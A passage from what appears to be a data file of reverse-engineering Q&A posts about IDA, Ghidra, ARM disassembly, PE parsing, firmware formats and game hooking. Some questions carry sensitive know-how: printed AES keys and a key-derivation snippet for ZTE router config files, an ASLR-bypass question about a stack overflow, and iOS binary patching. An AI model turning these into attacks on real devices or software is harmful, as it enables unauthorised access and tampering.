+//---------------------------------------------------------------------------
+void say_text(char *txt)
+    {
+    int i;
+    char a0,a1;
+    for (a1=0xBB,i=0;a1;i++)                            // process txt
+        {
+        a0=a1; a1=txt[i];                               // a0,a1 are last,actual char
+        if ((a1>='a')&&(a1<='z')) a1+='A'-'a';          // a..z -> A..Z
+        if ((a0=='C')&&(a1=='H')){ a0='H'; a1='\''; }   // CH -> H'
+        if ((a0>='A')&&(a0<='Z'))
+            {
+            if (a1=='\''){ a0+=0x1A; a1=0xBB; }         // handle diacritic
+            say_char(a0);                               // syntetize sound
+            continue;
+            }
+        if (a0==',') say_wait(t_comma);
+        if (a0==' ') say_wait(t_space);
+        }
+    }
+//----------------------------------------------------------------------
+void say_wait(WORD ws)
+    {
+    for (;ws;ws--) sound_out(_sound_on);
+    }
+//----------------------------------------------------------------------
+void say_char(char chr) // chr =  < `A` , `Z`+26 >
+    {
+    WORD a;
+    BYTE ws,pcm;
+    int i,j,e,num,pcm_ix,bits;
+    i=tab_char[chr-'A'];
+    for (e=1;e;i++)
+        {
+        a=tab_RLE[i];
+        e     =!(a     &0x8000);
+        num   = (a>>10)&0x001F;
+        pcm_ix=  a     &0x03FF;
+        for (;num;num--)
+            {
+            for (j=pcm_ix,bits=tab_PCM[j],j++;bits;j++)
+             for (pcm=tab_PCM[j],a=0x80;(bits)&&(a);a>>=1,bits--)
+              for (_sound_on=(a&pcm),ws=t_speed;ws;ws--)
+               sound_out(_sound_on);
+            say_wait(t_pause);
+            }
+        }
+    }
+//---------------------------------------------------------------------------
+#endif
+//---------------------------------------------------------------------------
+
+" +"['c++', 'function-hooking', 'asm']"," Title: Hook naked function with CPU registersBody: I need to hook this function: +
.text:005589CB sub_5589CB      proc near               ; CODE XREF: AddHealth(int,long)+1A↑j
+.text:005589CB                                         ; sub_5328D8+98E↑p ...
+.text:005589CB
+.text:005589CB var_4           = dword ptr -4
+.text:005589CB
+.text:005589CB                 xorps   xmm0, xmm0
+.text:005589CE                 ucomiss xmm1, xmm0
+.text:005589D1                 lahf
+.text:005589D2                 test    ah, 44h
+.text:005589D5                 jnp     short locret_558A1D
+.text:005589D7                 movss   xmm2, dword ptr [ecx+564h]
+.text:005589DF                 comiss  xmm2, xmm0
+.text:005589E2                 jbe     short locret_558A1D
+.text:005589E4                 cmp     ecx, dword_89A288
+.text:005589EA                 jnz     short loc_5589FF
+.text:005589EC                 comiss  xmm1, xmm0
+.text:005589EF                 ja      short loc_5589FF
+.text:005589F1                 mov     eax, dword_8CF880
+.text:005589F6                 cmp     byte ptr [eax+4BBh], 0
+.text:005589FD                 jnz     short locret_558A1D
+.text:005589FF
+.text:005589FF loc_5589FF:                             ; CODE XREF: sub_5589CB+1F↑j
+.text:005589FF                                         ; sub_5589CB+24↑j
+.text:005589FF                 movss   xmm0, dword ptr [ecx+560h]
+.text:00558A07                 mov     eax, [ecx]
+.text:00558A09                 addss   xmm0, xmm1
+.text:00558A0D                 push    ecx
+.text:00558A0E                 minss   xmm0, xmm2
+.text:00558A12                 movss   [esp+4+var_4], xmm0
+.text:00558A17                 call    dword ptr [eax+144h]
+.text:00558A1D
+.text:00558A1D locret_558A1D:                          ; CODE XREF: sub_5589CB+A↑j
+.text:00558A1D                                         ; sub_5589CB+17↑j ...
+.text:00558A1D                 retn
+.text:00558A1D sub_5589CB      endp
+.text:00558A1D
+.text:00558A1E ; ---------------------------------------------------------------------------
+.text:00558A1E                 mov     eax, [ecx+420h]
+.text:00558A24                 retn
+
+here IDA pseudocode: +
void *__usercall sub_5589CB@<eax > (float *a1@<ecx > , char a2@<efl > , float a3@<xmm1 > )
+
+In the past I have hooked without problems other naked functions with a code like this: +
__declspec(naked)  void *  HookFunction(float *a1 , char a2, float  a3)
+{
+    __asm
+    {
+
+        pushad // backup general purpose registers
+    }
+
+    MyExternalFunction();
+
+    __asm
+    {
+        popad // restore general purpose registers
+            
+        jmp AddressOfHookFunction
+    }
+
+}
+
+but this time there are some CPU registers like "xmm1" that are not cover with pushad/popad and the result is that the function lose the values of the registry if I call "MyExternalFunction". +There is a way to backup/restore efl and xmm1 registers ? +Thanks ! +" +"['ida', 'idapython']"," Title: Parsing binary file to Idb faster with IdaBody: When Ida parsing big file(50 MB) its can take few hours to parse binary file to IDB even with Intel I9 CPU, Maybe Ida doesn't use all cores? +Is there any way to make that process faster? run it on all over cores? +Maybe if I need to parse to idb only functiond that contains specific string ,can I do that insread of parsing all binary to Idb? +" +"['firmware', 'encryption', 'decryption', 'firmware-analysis']"," Title: How does one start with reversing router config encryption?Body: There is not enough info on the web from what I have seen. +Most write ups/guides/blog-posts are like this: +
    +
  1. They provide only the decrypt/encrypt script-tool with how to run it and nothing else +
  2. +
  3. They provide the script with where to find the keys but not how he was able to locate them or the steps to do so nor where he got the signature part which is necessary for encrypting (so a one can apply that method to a bit diff version of the router) +
  4. +
  5. They provide everything but the encrypting function. +
  6. +
+So, I was never able to find a guide that I can replicate on just the same model but with a different key or signature not a single full guide. +Now let's say you have a firmware file & the config file. Knowing that you can extract the firmware files using 7-zip/binwalk or whatever, how to proceed from there to figure out the encryption of the config file? +Note that the answer doesn't have to go into much detail; just a quick walk through the steps in general is fine. +" +"['ida', 'firmware', 'encryption', 'decryption', 'firmware-analysis']"," Title: ZTE AES-256-CBC Encrypted backup config fileBody: i tried router pass view tool on (a closed source one) it's able to decrypt the older version of it V3.1. tested on two routers of it and it gave me this output +
Encrypted Data Start Position: 227
+Encryption Algorithm: AES-128
+Encryption Key: 34303263333864653339626564363635
+Compression: zlib / deflate
+
+and +
Encrypted Data Start Position: 227
+Encryption Algorithm: AES-128
+Encryption Key: 4772574D33487A264C54767A26665E39
+Compression: zlib / deflate     
+
+also someone told me +
+the encryption algorithm was changed to AES-256-CBC and key and iv are +derived from MAC, SerialNumber and EncryKey. +snprintf(&g_keySeed, 65, "%s%sMcd5c46e", EncryKey, SN); +snprintf(&g_ivSeed, 65, "G21b667b%s%s", MAC, EncryKey); +sha256(key_seed, key_seed_len, &aes_key); +
+
+sha256(iv_seed, iv_seed_len,&aes_iv); +
+without telling me what's that encrykey and didn't reply again. +the firmware and config files +" +"['exploit', 'buffer-overflow']"," Title: Bypassing ASLR without leak addressBody: I have found a stack buffer overflow. +Currently, this is the situation: + +I am able to override the return address and jump to PLT sections. +My problem is that I can only copy data until the return address because of the null byte, therefore I can not jump to my shellcode in the stack. The binary starts in 0x00090000, so it is a problem to perform ROP gadget, since I can copy only one address until the return address. +Also, my binary contains a call to system that I can jump to, but in this case I need to put the address of the string argument in R0, and this is not possible due to the ASLR. I am also able to override 4 registers. +Does anyone have an idea how to bypass the ASLR here without leaking an address? Current architecture: ARM. +" +"['ida', 'disassemblers']"," Title: IDA pro 7.5 - No previous fonts / color importsBody: For the past few years I've been using an ida color scheme which I created, that was very easy on my eyes with the previous versions of IDA Pro (<7.0). However, after start using version 7.5 I cannot see any option to import colors from .clr files or export the current ones. +IDA Pro 7.0: + +IDA Pro 7.5: + +It seems to be a lot of font options are missing from the new version as well. +IDA Pro 7.0 Fonts: + +IDA Pro 7.5 Fonts: + +I don't have a lot of experience with IDA gui. I'd appreciate any help. +EDIT: +I fixed the font problem by installing the desired font. However I still cannot figure out how to import .clr files +" +"['ida', 'idapython', 'ida-plugin']"," Title: How to parse the IAT using IDApython?Body: Is it possible to parse the IAT using IDApython? +i know how to do it with python libraries like lief, but i was wondering if IDApython also has an ability to parse IAT or not? +" +"['ida', 'idapython', 'ida-plugin']"," Title: How to parse the NT headers and section headers of a PE file using IDApython?Body: I am trying to move some of my PE parsing into IDApython, i know how to do this with libraries like lief, but is it possible to parse the PE headers using IDA python, just like lief? i want to get all the info from the header like is debug info present and is the file signed and the compilation time and so on. +how to parse PE headers using IDApython? any guide? tried googling but there is nothing. +" +"['ida', 'disassembly', 'c', 'disassemblers']"," Title: Visual c compiler optionsBody: I ask if exist some c compiler option that can "keep" some imformation after compile that can be visible when I disassamble with IDA. +This because I need to find a particular funciton with IDA but without a "flag" is not easy. +In short I have a function called "Sbar_Draw" and I like to write inside a message for example: +
char * test;
+
+test = "This is the function name: Sbar_Draw/n";
+
+I have already tried to do it, but after disassably with IDA this information seem lost. +There is some compile option (or other way) that allow me to easy find a function when I disassambly with IDA ? +Thank you ! +" +"['windows', 'debugging', 'debuggers']"," Title: Is it possible for a process to debug itself?Body: What happens if you try to debug yourself ? I mean, does the process crash ? +If it is possible, how would you implement it ? +I have tried launching x64dbg and I can't attach to my own x64dbg process. +Thank you! +" +"['windows', 'dll', 'iat']"," Title: Statically recovering thunks in Windows x86_64 DLLBody: I just started working my way to reversing Windows binaries and I stumbled upon the Import Address Table. When reversing a particular DLL I encountered many thunk-functions which all supposedly referenced the IAT. +From my experience on Linux I guessed that this is somewhat similar to the procedure linkage table (or rather the global offset table I suppose). +Based on that I would assume that the linking process is similar, though I cannot seem to find detailed information on that. Any help would be appreciated. +Furthermore I was wondering whether you could resolve these thunks without ever running the binary. In particular because it is in fact a DLL that I am analyzing the information to resolve these should be available already? +Though I cannot really make sense out of the information available. +Just to be sure I am not completely off, here is an example of what I am talking about: +
void THUNK_FUN_18002d97a(void)
+
+{
+  (*_DAT_18005ba68)();
+  return;
+}
+
+Memory at the address (in section .data): +
0x18005ba68: 94 00 00 06 00 00 00 00
+
+Edit: +Thanks for the input. I now feel like I misunderstood the purpose of the IAT. So consider the following scenario: +We have a PE executable A which imports symbols from a DLL B. +
    +
  1. The import directory table is used in A, whereas in B a corresponding entry has to be found in the export directory table. Is that correct?
  2. +
  3. In the DLL (B) I am investigating the thunks mentioned are neither imported nor exported symbols. So what may I be witnessing?
  4. +
  5. The overall process must be looking something like this: +
      +
    1. A is executed. All needed DLLs are searched and linked (this is called binding in this context?)
    2. +
    3. This causes B to be actually loaded at some address. Now symbols from B in A can be resolved (using the import directory table). Is B necessarily position independent? I read about preferred base addresses and conditional re-location of the whole binary if it cannot be matched. Is this still correct?
    4. +
    5. I still do not see a point why the second layer jump table I encountered is needed.
    6. +
    +
  6. +
+" +"['disassembly', 'arm']"," Title: Understanding ARMv7 seemingly overly verbose disassemblyBody: I’m working with a disassembled ARMv7 binary. There are several instances where groups of instructions seem sub-optimal, but this one really caught my attention: +
00009086         movw       r3, #0x4f36
+0000908a         movt       r3, #0x1                                            ; ledTimer
+0000908e         ldrh       r3, [r3]                                            ; ledTimer
+00009090         subs       r3, #0x1
+00009092         uxth       r2, r3
+00009094         movw       r3, #0x4f36
+00009098         movt       r3, #0x1                                            ; ledTimer
+0000909c         strh       r2, [r3]                                            ; ledTimer
+0000909e         movw       r3, #0x4f36
+000090a2         movt       r3, #0x1                                            ; ledTimer
+000090a6         ldrh       r3, [r3]                                            ; ledTimer
+000090a8         cmp        r3, #0x0
+000090aa         bne.w      loc_9250
+
+Since loc_9250 is the beginning of the epilogue, I interpreted this section as: +
if (--ledTimer != 0) {
+    return;
+}
+
+Am I missing something about the ARMv7 architecture that makes all these instructions necessary (besides my disassembler not substituting the pseudo-mov32 for the movw/movt pairs)? It seems like a very inefficient way of going about this sequence of operations. Or perhaps this is just the result of a compiler with optimisation settings cranked right down. +" +['ghidra']," Title: Ghidra: What are ""hash"" function variables in the listing viewBody: The variables at the bottom prefixed with HASH:xxxxx:8, what are these variables and why are they here? + +When I delete them Ghidra insists on re-adding them when I Commit local names so I'm guessing they must be of some importance or Ghidra is detecting they exist in some way. +" +['mips']," Title: Reverse engineer a PS-EXE fileBody: I'm playing currently a CTF, i was asked to find the flag in PX-EXE file. Its architecture is MIPS. When i type file command in the terminal i get the following: +
Sony Playstation executable PC=0x8005d448, .text=[0x8005d000,0x15800], Stack=0x801ffff0, (Europe area) 
+
+Any ideas or helpful links please ? Thanks +" +['ghidra']," Title: Ghidra wrong function arguments and returnsBody: I'm a newbie here but I'm stuck with this problem. +I'm trying to decompile a function that in turns call another function (named charTranslateToHex). +This is the charTranslateToHex assembly code +
                     *************************************************************
+                     *                           FUNCTION                          
+                     *************************************************************
+                     undefined  __stdcall  charTranslateToHex (uint  param_1 , ui
+     undefined         r0:1           <RETURN>
+     uint              r0:4           param_1
+     uint              r1:4           param_2
+     undefined4        r2:4           param_3
+     undefined2        Stack[-0xc]:2  local_c                                 XREF[2]:     000c1284 (W) , 
+                                                                                           000c128c (W)   
+                     charTranslateToHex                              XREF[3]:     Entry Point (*) , 
+                                                                                  charTranslateToHex:0002a230 (T) , 
+                                                                                  charTranslateToHex:0002a238 (c) , 
+                                                                                  000f389c (*)   
+000c1278 07  40  2d  e9    stmdb      sp!,{param_1  param_2  param_3  lr}
+000c127c 00  10  a0  e3    mov        param_2 ,#0x0
+000c1280 08  30  8d  e2    add        r3,sp,#0x8
+000c1284 b4  10  cd  e1    strh       param_2 ,[sp,#local_c ]
+000c1288 10  20  a0  e3    mov        param_3 ,#0x10
+000c128c 04  00  63  e5    strb       param_1 ,[r3,#local_c ]!
+000c1290 03  00  a0  e1    cpy        param_1 ,r3
+000c1294 25  a6  fd  eb    bl         strtoul                                          ulong strtoul(char * __nptr, cha
+000c1298 0e  80  bd  e8    ldmia      sp!,{param_2  param_3  r3 pc}
+
+and this is how Ghidra decompile it: +
void charTranslateToHex(uint param_1,uint param_2,undefined4 param_3)
+
+{
+  uint local_c;
+  undefined4 uStack8;
+  
+  local_c = param_2 & 0xffff0000;
+  local_c = local_c | param_1 & 0xff;
+  uStack8 = param_3;
+  strtoul((char *)&local_c,(char **)0x0,0x10);
+  return;
+}
+
+Now back to the main function: +
......
+                             LAB_000c1410                                    XREF[1]:     000c13c4 (j)   
+        000c1410 00  00  6a  e0    rsb        param_1 ,r10 ,param_1
+        000c1414 48  10  8d  e2    add        param_2 ,sp,#0x48
+        000c1418 00  30  81  e0    add        param_4 ,param_2 ,param_1
+        000c141c 08  00  8d  e5    str        param_1 ,[sp,#local_60 ]
+        000c1420 1d  00  53  e5    ldrb       param_1 ,[r3,#local_3d ]
+        000c1424 04  90  a0  e1    cpy        r9,r4
+        000c1428 80  a3  fd  eb    bl         charTranslateToHex                               undefined charTranslateToHex(uin
+        000c142c 24  31  9f  e5    ldr        param_4 ,[DAT_000c1558 ]                          = 0001529Dh
+        000c1430 00  60  a0  e3    mov        r6,#0x0
+        000c1434 10  00  8d  e5    str        param_1 ,[sp,#local_58 ]
+        000c1438 03  30  8f  e0    add        param_4 ,pc,param_4
+        000c143c 14  30  8d  e5    str        param_4 =>DAT_000d66dd ,[sp,#local_54 ]            = 25h    %
+......
+
+and this is the decompiled version: +
iVar3 = sVar5 - uVar8;
+uVar12 = charTranslateToHex((uint)local_3d[iVar3],(uint)&stack0xffffffe0,uVar10);
+uVar9 = (uint)uVar12;
+uVar11 = 0;
+__s = param_4;
+
+I'm not understanding why the charTranslateToHex requires three parameters and why it returns void despite the main function using it's return value. +Can you help me please? +" +"['disassembly', 'linux', 'arm', 'kernel']"," Title: Why would just two bits of the SP be used here?Body: This is the section of disassembled code in question. It’s from a Linux kernel module compiled for 4.4.16 on ARMv7. +
  ; Registers used:
+  ;  - r3 :  unsigned long argp
+
+0000005c         mov        r1, sp
+00000060         bic        r2, r1, #0x1fc0
+00000064         bic        r2, r2, #0x3f
+00000068         ldr        r4, [r2, #0x8]
+0000006c         adds       r1, r3, #0x1
+00000070         sbcslo     r1, r1, r4
+00000074         movlo      r4, #0x0
+00000078         cmp        r4, #0x0
+0000007c         bne        loc_dc
+
+The stack at this point looks like this: +
00  <- SP
+04  [padding]
+07  u8 arg_kernel
+08  pushed[r4]
+0c  pushed[r5]
+10  pushed[r6]
+14  pushed[lr]
+18  <Previous SP>
+
+Here’s how I decoded this assembly into pseudo-C: +
r4 = *(SP & 0xe000 + 8);
+r1 = argp + 1;
+
+if (r1 overflowed) {
+    r1 -= r4;
+    r4 = 0;
+}
+
+if (r4 == 0) {
+  /* jump */
+}
+
+If I got this right, I don’t really understand the purpose of this code. If I made a mistake, I really don’t understand it. Can anyone offer any insight into the purpose of these operations? +" +"['decompilation', 'apk', 'decompiler']"," Title: Can obfuscation be applied on certain parts?Body: I am newbie to this field. I am still learning from your wonderful contributions, help and guidance. +I have had an app that i want to study in-depth. How the the it is constructed? What components that are used? And the like. +I did some decompiling operations with different tools and I get different results. What confuses me is that when I decompile with jadx (online one) I get java extension files, resource and so on but i do also see .dex file 1&2. I don't know if the obfsucation was done on particular parts (3rd party) or what? +What do you think guys? Does the proguard can be applied on certain parts in the app or as a whole. +I can share with you the apk file and the results too. +Thanks in advance and have a good day. +" +['hardware']," Title: Recover data from old HDD (word files mostly)Body: I am trying to help my mother recover some of her work from an old HDD, but I am facing multiple problems. +Firstly, I do not know the best way I could interface the old HDD with my laptop (or a newer PC). +Even if I get that figured out, I'm unsure as to what tools I should use. I read that radare2 was written to recover data from disks, and I'm thinking that the word files still have their "magic numbers", and maybe I could use that tool, but I have no idea how to start. +I omitted the hard disk specifics because I don't think they matter that much, I'll modify the post just in case. (I didn't know a better place to post - sorry) +" +['binary-analysis']," Title: What is .data.rel.ro used for in GO on Linux?Body: I'm reversing a GO binary, and I was trying to locate where some symbols appear in the binary. I did the following: +
    +
  1. Used nm on the binary - which did not recognize any symbols
  2. +
  3. Used go tool nm - same as #1
  4. +
  5. Ran strings and piped to grep - Did not find the symbols I was looking for
  6. +
  7. Finally, opened the binary in radare2 and ran command izzz~search and I found the symbols I was looking for in .data.rel.ro section.
  8. +
+I don't understand what data in this section is used for in the context of GO. Is this where function symbols that are loaded into the binary reside? I'm not sure why else these would be located here, and also why nm couldn't find them. +" +"['disassembly', 'immunity-debugger']"," Title: Edit ASCII value in Assembler (using Immunity Debugger)Body: I am trying to edit ASCII String via Immunity Debugger: + +However when I right click to do binary edit and then I click ok, the MOV DWORD instruction is replaced with some random instruction which cause the program to crash: + +This is the result: + +Why is the MOV DWORD instruction completely destroyed and replaced with these random instructions ? +" +"['file-format', 'ios', 'decompress', 'unknown-data']"," Title: Reverse engineer compressed iOS app fileBody: I want to find out the compression method used by an iOS app used for music notation to store its files. The files of its OSX counterpart are zipped files. You cannot create files in the iOS app, but you can upload them using the desktop application to the application's cloud server and from there download them to your iOS device for offline viewing. My findings so far: + +The following files are actually all the same file downloaded from the server 4 times. + + +I have produced three files, the first contains ""A"", the second ""AA"", the third ""AAA"". The first set of files comes from iOS, the second from OSX. + +. +" +['gdb']," Title: Attach to process with gdbserver without stop itBody: I run gdbserver +gdbserver --attach :<port> <pid> and then connect with gdb-multiarch +The problem is that until I connect with gdb-multiarch and run c the process is stop. +Can I continue the process after I attach with gdbserver inside hte machine that run gdbserver ? +" +"['ida', 'firmware', 'static-analysis']"," Title: How can I find a value in Tricore(TC1766) Arch?Body: I recently work on Tricore Processor, but I have some problems. +With reading memory value. I do not know if I am right or not, but I think a part of flash memory copied to RAM and now in my algorithm used of RAM cell. +I have shown Code in below: +
ld32.a          a15, [a0]-0x7BA4 ; a0 = 0xD00032E0
+
+As you see, a15 is an address that point to a constant value(store in RAM or FLASH) and a0 is the base address of RAM memory. To calculate a15, I subtract a0 from 0x7BA4 but the result is 0xCFFFB73C. This Address is not a valid address of RAM.
+EDITED:
+I saw a freaky sentence in Tricore document.(I have shown in below) +
+As you see, A[0] can be protected by user application.
+Could it be protected in this case as well?
+What is my wrong? What should I do? How can I get the correct value of a15? +" +"['firmware', 'arm', 'dumping', 'bios']"," Title: How can i extract u-boot image from fgt90d.out firmware and install Openwrt image?Body: I have a lot of out of licensed Fortigate90D devices so i want to reuse and run Openwrt/pfsense on them. +I have dumped and decoded the bios and got some useful datas, +according to datas we can see u-boot.bin, u-boot.bin.cpu2 and fsoc/spi_boot_fsoc.bin images so i want to know how we can extract these bootloader images and so install custom open source projects like OpenWRT, pfsense. + +Any help would be appreciated +thanks.. +
 no_repeat=1�uart=loadb 100000;go 100000
+�mbu=sete tftpip 172.30.80.145;sete myip 172.30.80.154;tftp u-boot.bin;go 8000000
+�cpu2img=u-boot.bin.cpu2
+�crc=crc $fileaddr $filesize�sfwr=sf probe 0;tftp b000000 fsoc/spi_boot_fsoc.bin;sf wrimg b000000 0
+�bootdelay=3
+�baudrate=9600
+�ethact=nplite#0
+�silent=0
+�dhcpen=0
+�netmask=255.255.255.0
+�imagename=fgt90d.out
+�tftport=0
+�mac0=08:5b:0e:xx:xx:xx
+�sn=FGT90DXXXXXXXXXX
+�ver=FortiGate-90D (20:14-02.28.2014)
+�bootcmd=flat
+�myip=10.10.0.100
+�tftpip=10.10.0.10
+�gatewayip=10.10.0.101   
+
+Here is the entire bios dump +https://pastebin.pl/view/e641d7a3 +Thank you for your help +" +"['ida', 'disassembly', 'decompile', 'virtualizers', 'vm']"," Title: Right way to reverse a VMBody: I'm currently reversing a virtualized sample that uses a custom VM bytecode. After defeating the anti-disassembly tricks I'm finally faced with the vm_dispatch function. I have to figure out the custom vm opcodes in order to determine what the program actually does. Unlike most other vms, there are no vftables which makes it very hard for me to reverse since there are more than 100 virtual handlers which are not defined as functions (All of the handlers are defined in loc_XXXX code blocks. Example image is below). + +Trying to decompile the vm_dispatch function leaves me with this: +
  ...
+  a lot of local variable initialization
+  ...
+  assign vm handlers
+  ...
+  bytecode_array[53] = &loc_4041A3;
+  regs->VIP = 0x6000;  // virtual ip
+  memcpy(bytecode_array + regs->VIP, bytecode, bytecode_size);
+  regs->R5 = -1;
+  vm_code = *(bytecode_array + regs->VIP++);
+  __asm { jmp     [ebp+eax*4+vm_handler_array]; jump to the appropriate handler }// switch jmp
+}
+
+I know it's not fully decompiled because there are more than 100 blocks, each executing a specific vm bytecode. None of that is reflected on the decompiler output. +It's really time-consuming to go through each loc_XXXX without being able to define VM specific structures like VM and REG and to read the low-level assembly. My question is, is there any: + +" +"['file-format', 'unknown-data']"," Title: Opening an undocumented 90s graphics formatBody: I've managed to extract some graphics files from an archive of an old game. Haven't found anything about it online, so I'm trying my luck here, prehaps someone knows a similar format that can help me. It's a somehow encrypted/compressed graphics format that uses an external palette. I've managed to display a different graphics format from the game, .raw files, that were very similar to NetPBM files. This format however isn't as straight forward. +

Here's what I know:

+File extension: .cgf
+File magic: CGFF
+file: data
+binwalk -E: 0.5 or 0.75, depends on "compression type", pretty much uniform across file
+binwalk -X: DEFLATE streams, sometimes only 1 bit long (?) +Header structure is as follows. Names are an educated guess on what the field could be. Every field is 4 bytes long, numbers are signed ints stored in little endian.
+Each line is 4 bytes in the file: +
String CGFF (file magic)
+Compression type, either "1" or "9" across all files
+Number of layers
+Number of layers, multiplied by 24
+File size. If my guess is right, this is probably an unsigned int
+"0" across all files but one, where it is "250"
+"0" across all files
+X Position                                      |
+Y Position                                      |
+Width                                           |
+Height                                          |
+"38" across all files                           |
+Offset into the file starting after the headers |
+
+The last 6 entries seem to make up a unit that repeats once for every layer. +Here's how I got to my guesses: + +Regarding the file structure, 1-files have higher entropy and don't really show any pattern. In 9-files however, most of the time a byte is followed by 0xff, rarely by something else. It's not RLE, I've tried that. +As requested, here's two hexdumps. One 9-compressed, one 1-compressed.
+https://pastebin.com/NGY79UgU +Oh right, I should say how these are supposed to look like. "Cursor.cgf" should contain a two hand-like cursors, one pointing and one grabbing. Regarding "Kid.cgf", the data says it contains 8 layers. Given the minigame the file loads in, this should contain 4 grinning mouths and 4 pairs of eyes. +I also forgot to mention that both images have transparency, this could however be implemented using the palette the game loads. +NOTE: I can't guarantee that these files are complete. They may contain garbage at the end or be incomplete. As I said, chances are good that the archive's stored file lengths are wrong, as I found a palette that contained the .wav header of the next file after extraction. +Here's how some of the layers of the files given should look like when correctly loaded. Three "Kid.cgf"-layers are lined in red, while one of the "Cursor.cgf"-layers is lined in green. Boxes are not exact.
+ +

UPDATE

+I managed to point the game to an extracted file instead of an archived file and it loads just fine. After also writing a program that fully parses the header, extracting the layer data into seperate files and some minor experiments, here's my results on a type 1 image: + +I'll keep experimenting and update accordingly. +" +['malware']," Title: Shannon Entropy of Individual PE sectionsBody: Why is Shannon Entropy of individual sections always between 0-8. Also why we need to create a 256 freq array while calculating the Shannon Entropy? +" +"['ida', 'disassembly', 'windows', 'debugging', 'symbols']"," Title: Where Can I Get .PDB files for Windows OS Components?Body: I want to take a look at some components of the Windows OS in IDA, such as ntoskrnl.exe and some of the Windows API .DLLs. I understand there is a Microsoft symbol server, but I am not sure how to actually retrieve the .PDB of choice from it. +While this question is similar to mine, the answers do not include how to statically load a .pdb of choice during disassembly rather than automatically load it from the environment variables while debugging. +How can I download a specific .PDB for a Windows binary? +" +"['arm', 'ghidra']"," Title: What does the ""=>"" sign means in ARM assembly LDR?Body: what does this arm instruction means? +
LDRB param_1,[r12,r5]=>local_b0
+
+In particular I don't understand the "=>local_b0" part. +Ghidra decompiles it to +
local_b0._0_1_ = *(byte *)((int)&local_b0 + iVar1);
+
+but I don't know where the ".0_1" comes from. +Thanks! +" +"['x64dbg', 'breakpoint', 'register']"," Title: Conditional breakpoint on register containing string catch everythingBody: I am trying to setup a conditional breakpoint to catch a specific string ("Sessions") that will be on ESI register but it catches everything: + +I also tried with dereferenced register [ESI] == "Sessions" but it didn't work.
+What is the problem with my conditional breakpoint? +" +"['python', 'executable', 'patching', 'hopper']"," Title: Automating binary patching in Hopper Disassembler using pythonBody: I am curious to know if anyone has done anything similar to what I am looking to achieve... +
    +
  1. I have a .ipa file (iOS application) that I load into to Hopper Disassembler.
  2. +
  3. I search for a string to prompt me to a location that I traverse to patch.
  4. +
  5. Patch the instruction as needed.
  6. +
  7. Recompile and create a new executable.
  8. +
+Coding this isn't what I am struggling with. Finding what tools to use is. I am pretty experienced with Python, but am open to using any language to patch and create a new executable automatically. Has anyone automated a workflow like this before? I know this stack exchange should be more geared towards specific reverse engineering questions, but I figured this might be the best place to post my question. Thanks to all of those who reply in advance. +" +"['binary-analysis', 'c++', 'ghidra', 'struct']"," Title: C++ structure containing a RTTI getter function?Body: I'm working on reversing a C++ application and I've come across a structure that contains a getter function that returns TypeDescriptor*, I've read some articles on RTTI and reversing C++ but can't find a structure that matches what I'm seeing. +It seems to be a compiler generated structure because of the TypeDescriptor getter? I'm hoping someone can point me in the right direction. There's multiple of these structures, they are in mostly contiguous but not completely as far as I can see. +Pseudo code for the struct looks like: +
// These are all function pointers
+class SomeClazz
+{
+    // func1/func2 are pointers to the same function. It looks like a constructor.
+    void* func1(void* param1, void** param2);
+    void* func2(void* param1, void** param2);
+    // This function differs depending on the class. I believe this to be a implementation of a virtual function maybe?
+    virtual void handler();
+    // Returns a pointer to a RTTI TypeDescriptor depending on the class
+    TypeDescriptor* get_type_descriptor();
+    void get_something();
+} 
+
+Here's code in the func1/2 functions in case there's a hint of what it is: +

+undefined ** FUN_00125860(longlong param_1,undefined **param_2)
+
+{
+  undefined4 uVar1;
+  undefined4 uVar2;
+  undefined4 uVar3;
+  
+  *param_2 = (undefined *)&Vftable_maybe_00589ef0;
+  uVar1 = *(undefined4 *)(param_1 + 0xc);
+  uVar2 = *(undefined4 *)(param_1 + 0x10);
+  uVar3 = *(undefined4 *)(param_1 + 0x14);
+  *(undefined4 *)(param_2 + 1) = *(undefined4 *)(param_1 + 8);
+  *(undefined4 *)((longlong)param_2 + 0xc) = uVar1;
+  *(undefined4 *)(param_2 + 2) = uVar2;
+  *(undefined4 *)((longlong)param_2 + 0x14) = uVar3;
+  return param_2;
+}
+
+Here's get_type_descriptor: +
TypeDescriptor * class::get_type_descriptor(void)
+
+{
+  return &class_<lambda_88a0d3301c644a20c1df3ad0c52a86e4>_RTTI_Type_Descriptor;
+}
+
+////////////
+LEA RAX, [class_<lambda_88a0d3301c644a20c1df3ad0c52 ...]
+RET
+
+Here's get_something, not sure what the purpose is or what it's doing: +
LEA RAX, [RCX+0x8]
+RET
+
+Any help/suggestions would be great. Thanks. +" +"['disassembly', 'arm', 'intel', 'pic', 'unknown-data']"," Title: How can I find out what type of processor an Intel Hex file belongs to?Body: I have a text file and I know that it is a firmware of a device. This file have Intel Hex Format as below: +
:03:8000:00:028100FA
+:02:8003:00:XXXXXX
+:02:800B:00:XXXXXX
+:02:8013:00:XXXXXX
+:01:801B:00:XXXX
+:01:8023:00:XXXX
+:10:802B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+:10:803B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+:10:804B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+:10:805B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
+
+How can I find out what type of processor (Intel/ARM/PIC/...) this file belongs to? And how can I disassemble it? +Frequency of bytes: +
ebra@him:~$ cat single-byte-per-line | sort | uniq -c | sort -n
+      1 
+      3 59
+      5 4C
+      6 49
+      6 57
+      6 5D
+      8 47
+      8 48
+      8 4A
+      8 4E
+      8 52
+     10 C6
+     11 7E
+     11 8F
+     11 9B
+     12 51
+     12 8E
+     12 95
+     12 9C
+     12 9D
+     12 B7
+     12 CE
+     13 CF
+     14 27
+     14 55
+     14 56
+     14 58
+     14 5C
+     14 7F
+     15 73
+     15 8D
+     15 9E
+     15 C7
+     15 D6
+     16 5F
+     16 D7
+     17 1B
+     17 A5
+     17 C8
+     17 CB
+     18 AF
+     18 B1
+     19 46
+     19 5A
+     19 8B
+     19 C1
+     20 D9
+     20 ED
+     21 72
+     21 94
+     21 A6
+     22 43
+     22 4F
+     22 71
+     22 AC
+     22 B9
+     22 C9
+     23 9F
+     23 A3
+     23 BE
+     24 42
+     24 AD
+     24 BD
+     24 BF
+     24 E9
+     25 4D
+     25 CC
+     26 87
+     26 A1
+     26 B8
+     26 E8
+     27 69
+     27 6F
+     27 88
+     28 F1
+     29 53
+     29 5E
+     29 61
+     29 77
+     29 BC
+     30 45
+     30 AB
+     31 1A
+     32 86
+     33 1E
+     33 4B
+     34 1C
+     35 1F
